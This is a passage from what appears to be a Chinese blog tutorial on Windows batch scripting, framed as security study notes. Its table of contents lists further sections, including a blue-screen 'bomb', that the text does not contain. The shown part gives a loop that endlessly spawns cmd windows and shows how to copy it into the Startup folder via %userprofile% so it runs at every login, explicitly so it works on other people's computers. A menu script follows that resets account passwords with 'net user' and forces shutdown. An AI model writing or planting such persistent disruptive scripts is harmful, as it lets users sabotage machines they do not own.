网络安全学习笔记6(批处理编写)

目录

1.如何制作一个死循环(简单)

2.如何在启动项中打开这个程序

3.写一个小程序(变量)

4.上面那个小程序功能完善(加上if,goto)

5.如何修改上面那个程序,让其中的一个选项带有恶意脚本(节选)

6.后面可以尝试的几种思路

7.最简单的蓝屏炸弹文件(针对xp或2003的蓝屏命令)

8.强制杀死一个桌面

9.还有一些指令,一些小玩意和对批处理的介绍

10.扩展:

1.一个简单的脚本

2.一个简单的死循环脚本


1.如何制作一个死循环(简单)

:d
start
goto d
  •  这里单写一个start是打开cmd窗口,start后面写地址就是打开其他的东西了。
  • :d     注意:一定是要用英文的,中文没有作用 

goto 区块名              #程序跳该区块

例如:goto menu      #程序跳至“menu区块”,中间被跳过的区块就作废了

2.如何在启动项中打开这个程序

启动项:就是开机的时候系统会在前台或者后台运行的程序。当操作系统完成登录过程,进程表中出现了很多的进程。操作系统在启动的时候,自动加载了很多程序。

  • copy 原地址 目的地址         复制粘贴
copy qq.bat C:\Documents and Settings\用户名\「开始」菜单\程序\启动
:d
start
goto d

 升级版:因为如果放到别的电脑,用户名不同也无法运行。并且像xp都没有管理员登录,那不就没有用了。

copy qq.bat “%userprofile%\「开始」菜单\程序\启动”
:d
start
goto d
  • 像带有特殊符号(开始)的,要在前后加一个  " "
  • userprofile是变量  (userprofile代表的是你的系统登录名,你的系统登录名是什么,他就是什么)——这样保证了哪怕在不同的用户名下也能在开始菜单的启动项里运行。
  • 两边加%,代表取值。
运行后效果图(升级版)

 3.写一个小程序(变量)

@echo off        
color 0a            
title 哈哈小程序v1.0  
  
echo ==========================
echo               菜单
echo         1、修改管理员密码
echo         2、定时关机
echo         3、取消定时
echo         4、退出程序
echo ===========================
:1
set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p%   >nul
:2
set /p a=请输入时间(单位/秒):
shutdown -s -f -t %a%
:3
shutdown -a
:4
exit
 
 
pause

 set /p u= ( 字符串 )      #获取输入的字符,将其赋值给变量u

 %u%                              #提取变量u的值

  • set /p u=请输入用户名:       红字部分是给别人看的(因为你加了/p(/p是选项的意思),如果没加的确是u=请输入用户名)

 net user 用户名 密码      #修改账户密码(windows所有平台支持)

 >nul       #清除一条命令执行后系统反馈

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值